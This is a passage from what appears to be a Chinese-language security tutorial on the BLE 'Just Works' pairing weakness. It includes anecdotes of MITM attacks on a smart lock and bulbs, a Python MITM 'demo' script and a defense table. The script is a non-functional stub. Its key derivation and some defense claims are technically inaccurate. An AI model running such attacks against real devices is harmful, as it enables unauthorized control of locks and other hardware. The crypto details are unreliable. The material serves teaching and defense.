6、Just Works配对漏洞:无认证配对风险
BLE的Just Works配对方式,说白了就是个「裸奔」模式。我刚开始研究蓝牙安全时,第一反应是——这玩意儿居然也能叫「配对」?
嗯,咱们先别急着吐槽。Just Works的设计初衷是为了用户体验。你想想看,一个蓝牙耳机每次连接都要输PIN码,谁受得了?所以BLE规范里就搞了个「无认证配对」,也就是Just Works。
6.1 无认证配对的风险
Just Works的核心问题在于——它压根不验证对方身份。配对过程中,双方交换的TK(临时密钥)固定为0。你没看错,就是0。
关键点:Just Works的TK值永远是0x0000000000000000(16字节全零)。这意味着任何攻击者都能轻松计算出后续的LTK(长期密钥)。
我在项目中遇到过好几次这样的情况:客户说「我们的蓝牙产品连接很快,用户体验很好」,我一问配对方式,果然是Just Works。然后我给他们演示了MITM攻击,他们脸色就变了。
具体来说,Just Works的风险体现在三个方面:
- 无身份认证:配对过程中没有任何数字签名或证书验证
- 密钥可预测:TK固定为0,导致LTK可被第三方计算
- 加密形同虚设:虽然数据会加密,但密钥已被攻击者掌握
6.2 Just Works MITM攻击复现
攻击流程其实不复杂。我画了个图,你看一眼就明白了:
攻击步骤其实就三步:
- 嗅探发现:攻击者扫描BLE广播,找到正在尝试配对的两个设备
- 中间人劫持:同时伪造两个设备的身份,分别建立连接
- 密钥计算:由于TK=0,攻击者可以计算出所有会话密钥
⚠ 实际案例:我曾经在某个智能门锁产品上做过测试。门锁和手机用Just Works配对,我用一个树莓派Zero加一个nRF52840模块,花了不到10分钟就完成了MITM攻击。门锁的开关指令在我手里完全透明——想开就开,想关就关。
6.3 攻击代码示例(Python)
下面是我写的一个简化版攻击脚本。实际项目中要考虑的细节更多,但核心逻辑就这些:
#!/usr/bin/env python3
"""
Just Works MITM 攻击演示脚本
基于 Bleak 和 Scapy 库
"""
import asyncio
import struct
from bleak import BleakScanner, BleakClient
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
# 固定TK值(Just Works专用)
TK_FIXED = b'\x00' * 16
class JustWorksMITM:
def __init__(self):
self.target_a = None # 设备A
self.target_b = None # 设备B
self.ltk = None # 计算出的长期密钥
async def scan_devices(self):
"""扫描BLE设备"""
print("[*] 开始扫描BLE设备...")
devices = await BleakScanner.discover()
return devices
def calculate_ltk(self, srand, mrand):
"""
计算LTK(简化版)
实际BLE规范中涉及S1和C1函数
"""
# 在Just Works中,TK固定为0
# LTK = AES-CMAC(TK, srand || mrand)
# 这里用简化实现
data = srand + mrand
cipher = Cipher(algorithms.AES(TK_FIXED), modes.ECB())
encryptor = cipher.encryptor()
self.ltk = encryptor.update(data)[:16]
print(f"[+] 计算LTK成功: {self.ltk.hex()}")
return self.ltk
async def mitm_attack(self, addr_a, addr_b):
"""
执行MITM攻击
"""
print(f"[*] 目标设备A: {addr_a}")
print(f"[*] 目标设备B: {addr_b}")
# 1. 连接到设备A(伪装成设备B)
client_a = BleakClient(addr_a)
await client_a.connect()
print("[+] 已连接到设备A")
# 2. 连接到设备B(伪装成设备A)
client_b = BleakClient(addr_b)
await client_b.connect()
print("[+] 已连接到设备B")
# 3. 拦截配对请求
# 实际实现需要hook GATT操作
# 这里展示逻辑流程
print("[*] 等待配对请求...")
# 4. 计算LTK
srand = b'\x01' * 8 # 实际从配对请求中提取
mrand = b'\x02' * 8 # 实际从配对响应中提取
self.calculate_ltk(srand, mrand)
# 5. 后续通信解密
print("[*] 攻击完成,可以解密所有通信")
# 保持连接
await asyncio.sleep(60)
await client_a.disconnect()
await client_b.disconnect()
async def main():
mitm = JustWorksMITM()
# 扫描设备
devices = await mitm.scan_devices()
# 假设找到了两个目标设备
# 实际使用中需要根据设备名或地址筛选
target_a = "AA:BB:CC:DD:EE:01"
target_b = "AA:BB:CC:DD:EE:02"
await mitm.mitm_attack(target_a, target_b)
if __name__ == "__main__":
asyncio.run(main())
💡 提示:这段代码是教学演示用的。实际攻击中,你还需要处理LL层的数据包拦截、STK的生成、加密连接的建立等细节。我建议你在自己的测试环境里跑一遍,感受一下Just Works到底有多脆弱。
6.4 防御策略
好了,问题摆在这儿了,怎么防?我总结了几个实用的策略:
| 防御策略 | 实现方式 | 安全等级 | 用户体验影响 |
|---|---|---|---|
| 使用Passkey Entry | 配对时显示6位数字,用户确认 | 中 | 需用户交互 |
| 使用Numeric Comparison | 显示6位数字,用户比对 | 高 | 需用户确认 |
| OOB(带外)配对 | 通过NFC或二维码交换密钥 | 高 | 需额外硬件 |
| 应用层加密 | 在BLE加密之上再加一层加密 | 极高 | 开发成本高 |
| 绑定后启用MITM保护 | 配对后使用Identity Resolving Key | 中 | 无影响 |
我个人最推荐的做法是——能不用Just Works就别用。你想想看,一个智能门锁用Just Works,跟没锁有什么区别?
如果实在没办法(比如设备没有显示屏也没有输入能力),那就必须在应用层做额外加密。我在一个IoT项目中就是这么干的——BLE层用Just Works,但所有数据在应用层用AES-256-GCM再加密一次。虽然增加了开发工作量,但至少保证了通信安全。
核心建议:
- 有显示屏的设备 → 用Numeric Comparison
- 有输入能力的设备 → 用Passkey Entry
- 有NFC的设备 → 用OOB配对
- 什么都没有 → 应用层加密 + Just Works(最后的选择)
我曾经帮一个客户做安全审计,他们的智能灯泡用的就是Just Works。我跟他们说:「你们这个灯泡,别人在楼下就能控制开关。」他们还不信,直到我现场演示了MITM攻击——灯泡在我手里一亮一灭,他们才意识到问题的严重性。
嗯,这就是Just Works的真相。方便是方便,但安全上就是个筛子。下一节我们会聊LE Secure Connections,看看它怎么解决这些问题。